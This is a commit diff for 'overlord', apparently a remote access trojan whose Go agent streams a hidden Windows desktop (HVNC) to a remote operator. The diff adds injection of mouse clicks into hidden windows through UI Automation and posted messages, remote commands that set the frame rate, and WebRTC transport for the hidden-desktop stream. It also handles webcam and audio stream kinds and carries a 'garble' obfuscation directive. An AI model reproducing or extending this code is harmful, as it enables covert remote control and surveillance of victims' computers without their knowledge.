vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

major improvements

Browse Source
This commit is contained in:
KingKDot
2026-06-12 09:14:49 -05:00
parent a2634a7454
commit b6672ee375
47 changed files with 1498 additions and 231 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Client/cmd/agent/capture/backstage_uia_windows.go
+155 -51
View File
@@ -1105,6 +1105,8 @@ var (
uiaDragStartPt point
uiaLastClickTime time.Time
uiaLastClickHwnd uintptr
uiaLastClickBtn int
uiaLastClickPt point
)
func uiaSetActiveElement(elem *iuiAutomationElement) {
@@ -1164,37 +1166,24 @@ func uiaHandleMouseMove(hwnd uintptr, screenPt point) {
func uiaHandleMouseButton(hwnd uintptr, screenPt point, button int, down bool) error {
uiaEnsureWorker()
inputSite := findInputSiteChild(hwnd)
msg, wparam, ok := uiaMouseButtonMessage(button, down)
if !ok {
return nil
}
messageTarget := uiaFastMouseTarget(hwnd, inputSite)
if down {
uiaActiveMu.Lock()
uiaDragStartPt = screenPt
uiaDragActive = false
uiaActiveMu.Unlock()
inputSite := findInputSiteChild(hwnd)
if inputSite != 0 {
clientPt := screenPt
procScreenToClient.Call(inputSite, uintptr(unsafe.Pointer(&clientPt)))
switch button {
case 0:
postMouseMessage(inputSite, WM_LBUTTONDOWN, MK_LBUTTON, clientPt)
case 2:
postMouseMessage(inputSite, WM_RBUTTONDOWN, MK_RBUTTON, clientPt)
}
}
uiaPostMouseToTarget(messageTarget, msg, wparam, screenPt)
return nil
}
inputSite := findInputSiteChild(hwnd)
if inputSite != 0 {
clientPt := screenPt
procScreenToClient.Call(inputSite, uintptr(unsafe.Pointer(&clientPt)))
switch button {
case 0:
postMouseMessage(inputSite, WM_LBUTTONUP, 0, clientPt)
case 2:
postMouseMessage(inputSite, WM_RBUTTONUP, 0, clientPt)
}
}
uiaPostMouseToTarget(messageTarget, msg, wparam, screenPt)
uiaActiveMu.Lock()
wasInDrag := uiaDragActive
@@ -1206,22 +1195,70 @@ func uiaHandleMouseButton(hwnd uintptr, screenPt point, button int, down bool) e
}
now := time.Now()
isDoubleClick := now.Sub(uiaLastClickTime) < 400*time.Millisecond && uiaLastClickHwnd == hwnd
dx := screenPt.x - uiaLastClickPt.x
dy := screenPt.y - uiaLastClickPt.y
isDoubleClick := now.Sub(uiaLastClickTime) < 400*time.Millisecond &&
uiaLastClickHwnd == hwnd &&
uiaLastClickBtn == button &&
dx*dx+dy*dy <= 25
uiaLastClickTime = now
uiaLastClickHwnd = hwnd
uiaLastClickBtn = button
uiaLastClickPt = screenPt
pt := screenPt // copy for closure
btn := button
isDbl := isDoubleClick
is := inputSite
h := hwnd
target := messageTarget
uiaRunAsync(func() {
uiaMouseUpWorker(h, pt, btn, isDbl, is)
uiaMouseUpWorker(h, pt, btn, isDbl, is, target)
})
return nil
}
func uiaMouseUpWorker(hwnd uintptr, screenPt point, button int, isDoubleClick bool, inputSite uintptr) {
func uiaMouseButtonMessage(button int, down bool) (uint32, uintptr, bool) {
wparam := uintptr(currentMouseButtons())
switch button {
case 0:
if down {
return WM_LBUTTONDOWN, wparam | MK_LBUTTON, true
}
return WM_LBUTTONUP, wparam, true
case 1:
if down {
return WM_MBUTTONDOWN, wparam | MK_MBUTTON, true
}
return WM_MBUTTONUP, wparam, true
case 2:
if down {
return WM_RBUTTONDOWN, wparam | MK_RBUTTON, true
}
return WM_RBUTTONUP, wparam, true
default:
return 0, 0, false
}
}
func uiaFastMouseTarget(hwnd uintptr, inputSite uintptr) uintptr {
if inputSite != 0 {
return inputSite
}
return hwnd
}
func uiaPostMouseToTarget(hwnd uintptr, msg uint32, wparam uintptr, screenPt point) bool {
if hwnd == 0 {
return false
}
clientPt := screenPt
procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt)))
postMouseMessage(hwnd, msg, wparam, clientPt)
return true
}
func uiaMouseUpWorker(hwnd uintptr, screenPt point, button int, isDoubleClick bool, inputSite uintptr, postedTarget uintptr) {
if uiaSingleton == nil {
return
}
@@ -1235,42 +1272,109 @@ func uiaMouseUpWorker(hwnd uintptr, screenPt point, button int, isDoubleClick bo
}
defer elem.Release()
messageTarget := uiaResolvedMouseTarget(hwnd, elem, inputSite)
if messageTarget == 0 {
messageTarget = postedTarget
}
switch button {
case 0: // Left click
if uiaTryAction(elem, isDoubleClick) {
return
}
if uiaTreeWalker != nil {
current := elem
for i := 0; i < 6; i++ {
parent := uiaTreeWalker.GetParentElement(current)
if parent == nil {
break
}
if current != elem {
current.Release()
}
current = parent
if uiaTryAction(current, isDoubleClick) {
if current != elem {
current.Release()
}
return
}
}
if current != elem {
current.Release()
if isWinUI3Window(hwnd) {
if uiaTryActionAscending(elem, isDoubleClick) {
return
}
}
elem.SetFocus()
uiaSelectItem(elem)
case 2: // Right click — context menu
if inputSite != 0 {
procPostMessageW.Call(inputSite, WM_CONTEXTMENU, inputSite, makeLParam(screenPt.x, screenPt.y))
case 2: // Right click: identify the element, then ask its window for a context menu.
elem.SetFocus()
uiaSelectItem(elem)
if messageTarget != 0 {
procPostMessageW.Call(messageTarget, WM_CONTEXTMENU, messageTarget, makeLParam(screenPt.x, screenPt.y))
}
}
}
func uiaResolvedMouseTarget(hwnd uintptr, elem *iuiAutomationElement, inputSite uintptr) uintptr {
if inputSite != 0 && isWinUI3Window(hwnd) {
return inputSite
}
if native := uiaNativeWindowFromElement(elem); native != 0 {
return native
}
if inputSite != 0 {
return inputSite
}
return hwnd
}
func uiaNativeWindowFromElement(elem *iuiAutomationElement) uintptr {
if elem == nil {
return 0
}
if hwnd := elem.GetNativeWindowHandle(); hwnd != 0 {
return hwnd
}
if uiaTreeWalker == nil {
return 0
}
current := elem
for i := 0; i < 8; i++ {
parent := uiaTreeWalker.GetParentElement(current)
if parent == nil {
break
}
if current != elem {
current.Release()
}
current = parent
if hwnd := current.GetNativeWindowHandle(); hwnd != 0 {
if current != elem {
current.Release()
}
return hwnd
}
}
if current != elem {
current.Release()
}
return 0
}
func uiaTryActionAscending(elem *iuiAutomationElement, isDoubleClick bool) bool {
if elem == nil {
return false
}
if uiaTryAction(elem, isDoubleClick) {
return true
}
if uiaTreeWalker == nil {
return false
}
current := elem
for i := 0; i < 6; i++ {
parent := uiaTreeWalker.GetParentElement(current)
if parent == nil {
break
}
if current != elem {
current.Release()
}
current = parent
if uiaTryAction(current, isDoubleClick) {
if current != elem {
current.Release()
}
return true
}
}
if current != elem {
current.Release()
}
return false
}
func uiaTryAction(elem *iuiAutomationElement, isDoubleClick bool) bool {
if uiaInvoke(elem) {
if isDoubleClick {
Overlord-Client/cmd/agent/capture/backstage_windows.go
+3 -2
View File
@@ -1122,8 +1122,9 @@ func hvncMouseButtonOnThread(button int, down bool) error {
return nil
}
// WinUI3 branch: route through UIA patterns
if hvncUIAEnabled.Load() && isWinUI3Window(hitHwnd) {
// UIA branch: keep message-style clicks as the primary signal, but let
// UIA resolve complicated targets such as WinUI3/Explorer elements.
if hvncUIAEnabled.Load() {
return uiaHandleMouseButton(hitHwnd, pt, button, down)
}
Overlord-Client/cmd/agent/capture/capture.go
+45
View File
@@ -614,6 +614,14 @@ func ResetPrev() {
resetH264Encoder()
}
func ResetPrevHVNC() {
hvncPrevMu.Lock()
hvncPrevFrame = nil
hvncPrevMu.Unlock()
hvncLastKeyframe.Store(0)
resetH264EncoderHVNC()
}
func jpegQuality() int {
if q := overrideQuality.Load(); q > 0 {
@@ -1550,12 +1558,14 @@ func SetQualityAndCodec(quality int, codec string) {
h264WarnOnce = sync.Once{}
if s != "h264" {
resetH264Encoder()
resetH264EncoderHVNC()
}
case "":
default:
overrideCodec.Store("jpeg")
resetH264Encoder()
resetH264EncoderHVNC()
}
}
@@ -1599,9 +1609,19 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
}
captureDur := time.Since(t0)
willSendViaWebRTC := blockCodec() == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC)
var slotAcquired bool
if !willSendViaWebRTC && !AcquireFrameSlot() {
return nil
}
slotAcquired = !willSendViaWebRTC
quality := jpegQuality()
frame, encodeDur, err := buildFrameHVNC(img, display, quality)
if err != nil {
if slotAcquired {
ReleaseFrameSlot()
}
return err
}
@@ -1613,12 +1633,37 @@ func captureAndSendHVNC(ctx context.Context, env *rt.Env) error {
frame.Header.FPS = fps
if ctx.Err() != nil {
if slotAcquired {
ReleaseFrameSlot()
}
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive(webrtcpub.KindHVNC) {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(webrtcpub.KindHVNC, frame.Data, dur); werr != nil {
log.Printf("webrtc: write hvnc h264 failed: %v", werr)
}
if slotAcquired {
ReleaseFrameSlot()
}
return nil
}
if !slotAcquired {
if !AcquireFrameSlot() {
return nil
}
slotAcquired = true
}
sendStart := time.Now()
err = wire.WriteMsg(ctx, env.Conn, frame)
sendDur := time.Since(sendStart)
if err != nil {
ReleaseFrameSlot()
}
if shouldLogFrame(now) {
total := time.Since(t0)
Overlord-Client/cmd/agent/capture/h264_encoder_windows.go
+9 -8
View File
@@ -443,7 +443,7 @@ var (
func encodeH264Frame(img *image.RGBA) ([]byte, error) {
h264Mu.Lock()
defer h264Mu.Unlock()
out, err := encodeH264FrameWithEncoder(&h264Enc, img)
out, err := encodeH264FrameWithEncoder(&h264Enc, "desktop", img)
h264LastErr = err
return out, err
}
@@ -451,16 +451,16 @@ func encodeH264Frame(img *image.RGBA) ([]byte, error) {
func encodeH264FrameHVNC(img *image.RGBA) ([]byte, error) {
hvncH264Mu.Lock()
defer hvncH264Mu.Unlock()
return encodeH264FrameWithEncoder(&hvncH264Enc, img)
return encodeH264FrameWithEncoder(&hvncH264Enc, "backstage", img)
}
func encodeH264FrameWebcam(img *image.RGBA) ([]byte, error) {
webcamH264Mu.Lock()
defer webcamH264Mu.Unlock()
return encodeH264FrameWithEncoder(&webcamH264Enc, img)
return encodeH264FrameWithEncoder(&webcamH264Enc, "webcam", img)
}
func encodeH264FrameWithEncoder(slot *h264FrameEncoder, img *image.RGBA) ([]byte, error) {
func encodeH264FrameWithEncoder(slot *h264FrameEncoder, stream string, img *image.RGBA) ([]byte, error) {
if img == nil {
return nil, errors.New("nil h264 frame")
}
@@ -479,7 +479,7 @@ func encodeH264FrameWithEncoder(slot *h264FrameEncoder, img *image.RGBA) ([]byte
(*slot).Close()
*slot = nil
}
enc, err := newWindowsH264Encoder(width, height, fps)
enc, err := newWindowsH264Encoder(stream, width, height, fps)
if err != nil {
return nil, err
}
@@ -546,12 +546,13 @@ func closeH264Encoder(slot *h264FrameEncoder) {
}
}
func newWindowsH264Encoder(width, height, fps int) (h264FrameEncoder, error) {
if enc, err := newNativeH264Encoder(width, height, fps); err == nil {
func newWindowsH264Encoder(stream string, width, height, fps int) (h264FrameEncoder, error) {
if enc, err := newNativeH264Encoder(stream, width, height, fps); err == nil {
return enc, nil
} else {
log.Printf("capture: native NVENC D3D11 h264 encoder unavailable for %dx%d@%dfps: %v; trying Media Foundation", width, height, fps, err)
log.Printf("capture: native NVENC D3D11 h264 encoder unavailable stream=%s size=%dx%d fps=%d: %v; trying Media Foundation", stream, width, height, fps, err)
}
log.Printf("capture: media foundation h264 fallback selected stream=%s size=%dx%d fps=%d", stream, width, height, fps)
return newMFH264Encoder(width, height, fps)
}
Overlord-Client/cmd/agent/capture/native_h264_stub_windows.go
+1 -1
View File
@@ -5,7 +5,7 @@ package capture
import "fmt"
import "unsafe"
func newNativeH264Encoder(width, height, fps int) (h264FrameEncoder, error) {
func newNativeH264Encoder(stream string, width, height, fps int) (h264FrameEncoder, error) {
return nil, fmt.Errorf("native NVENC D3D11 requires cgo for %dx%d@%dfps", width, height, fps)
}
Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go
+2 -2
View File
@@ -1524,7 +1524,7 @@ type nativeH264Encoder struct {
scratch []byte
}
func newNativeH264Encoder(width, height, fps int) (h264FrameEncoder, error) {
func newNativeH264Encoder(stream string, width, height, fps int) (h264FrameEncoder, error) {
bitrate := targetH264Bitrate(width, height, fps)
raw := C.nvenc_create_d3d11_encoder(C.int(width), C.int(height), C.int(fps), C.int(bitrate))
if raw.encoder == nil {
@@ -1537,7 +1537,7 @@ func newNativeH264Encoder(width, height, fps int) (h264FrameEncoder, error) {
requestedFPS: fps,
fps: fps,
}
log.Printf("capture: native NVENC D3D11 h264 encoder active provider=NVIDIA NVENC size=%dx%d fps=%d input=NV12(upload) bitrate=%d", width, height, fps, bitrate)
log.Printf("capture: native NVENC D3D11 h264 encoder active stream=%s provider=NVIDIA NVENC size=%dx%d fps=%d input=NV12(upload) bitrate=%d", stream, width, height, fps, bitrate)
return enc, nil
}
Overlord-Client/cmd/agent/handlers/command.go
+12
View File
@@ -1130,6 +1130,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.SetMaxResolution(maxH)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_fps":
payload, _ := envelope["payload"].(map[string]interface{})
fps := 120
if payload != nil {
if v, ok := payloadInt(payload, "fps"); ok {
fps = v
}
}
fps = SetHVNCTargetFPS(fps)
log.Printf("hvnc: set target fps=%d", fps)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "hvnc_set_quality":
payload, _ := envelope["payload"].(map[string]interface{})
quality := 90
Overlord-Client/cmd/agent/handlers/hvnc.go
+31 -2
View File
@@ -6,12 +6,14 @@ import (
"overlord-client/cmd/agent/capture"
rt "overlord-client/cmd/agent/runtime"
"sync"
"sync/atomic"
"time"
)
var (
hvncPersistedDisplayValue int
hvncPersistedDisplayMu sync.Mutex
hvncTargetFPS atomic.Int64
)
func persistHVNCDisplaySelection(display int) {
@@ -28,9 +30,11 @@ func GetPersistedHVNCDisplay() int {
func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
fps := activeHVNCTargetFPS()
interval := time.Second / time.Duration(fps)
capture.SetH264TargetFPS(fps)
log.Printf("hvnc: starting stream (max fps %d)", fps)
capture.SetFrameFlowTargetFPS(fps)
log.Printf("hvnc: starting stream (target fps %d)", fps)
if err := capture.InitializeHVNCDesktop(); err != nil {
log.Printf("hvnc: failed to initialize hidden desktop: %v", err)
@@ -47,6 +51,7 @@ func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
ticker := time.NewTicker(interval)
defer ticker.Stop()
currentFPS := fps
for {
select {
case <-ctx.Done():
@@ -54,6 +59,14 @@ func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
capture.CleanupHVNCDesktop()
return nil
case <-ticker.C:
fps := activeHVNCTargetFPS()
if fps != currentFPS {
currentFPS = fps
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
ticker.Reset(time.Second / time.Duration(fps))
log.Printf("hvnc: target fps changed to %d", fps)
}
if err := capture.NowHVNC(ctx, env); err != nil {
if ctx.Err() != nil {
log.Printf("hvnc: stopping stream")
@@ -66,6 +79,22 @@ func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
}
}
func activeHVNCTargetFPS() int {
if fps := int(hvncTargetFPS.Load()); fps > 0 {
return fps
}
_, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
return SetHVNCTargetFPS(fps)
}
func SetHVNCTargetFPS(fps int) int {
fps = clampDesktopTargetFPS(fps)
hvncTargetFPS.Store(int64(fps))
capture.SetH264TargetFPS(fps)
capture.SetFrameFlowTargetFPS(fps)
return fps
}
func HVNCSelect(ctx context.Context, env *rt.Env, display int) error {
prev := env.HVNCSelectedDisplay
maxDisplays := capture.HVNCMonitorCount()
Overlord-Client/cmd/agent/handlers/webrtc.go
+12 -2
View File
@@ -25,6 +25,8 @@ func pcm16BytesToInt16(chunk []byte) []int16 {
func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind {
switch s, _ := payload["kind"].(string); s {
case "hvnc":
return webrtcpub.KindHVNC
case "webcam":
return webrtcpub.KindWebcam
case "audio":
@@ -79,7 +81,11 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
// Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can
// decode immediately instead of waiting for the next natural IDR.
if hasVideo {
capture.ResetPrev()
if kind == webrtcpub.KindHVNC {
capture.ResetPrevHVNC()
} else {
capture.ResetPrev()
}
}
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
@@ -136,7 +142,11 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
return nil
}
if hasVideo {
capture.ResetPrev()
if kind == webrtcpub.KindHVNC {
capture.ResetPrevHVNC()
} else {
capture.ResetPrev()
}
}
_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PAnswer{
Type: "webrtc_p2p_answer",
Overlord-Client/cmd/agent/webrtcpub/state.go
+1
View File
@@ -10,6 +10,7 @@ type Kind string
const (
KindDesktop Kind = "desktop"
KindHVNC Kind = "hvnc"
KindWebcam Kind = "webcam"
KindAudio Kind = "audio"
)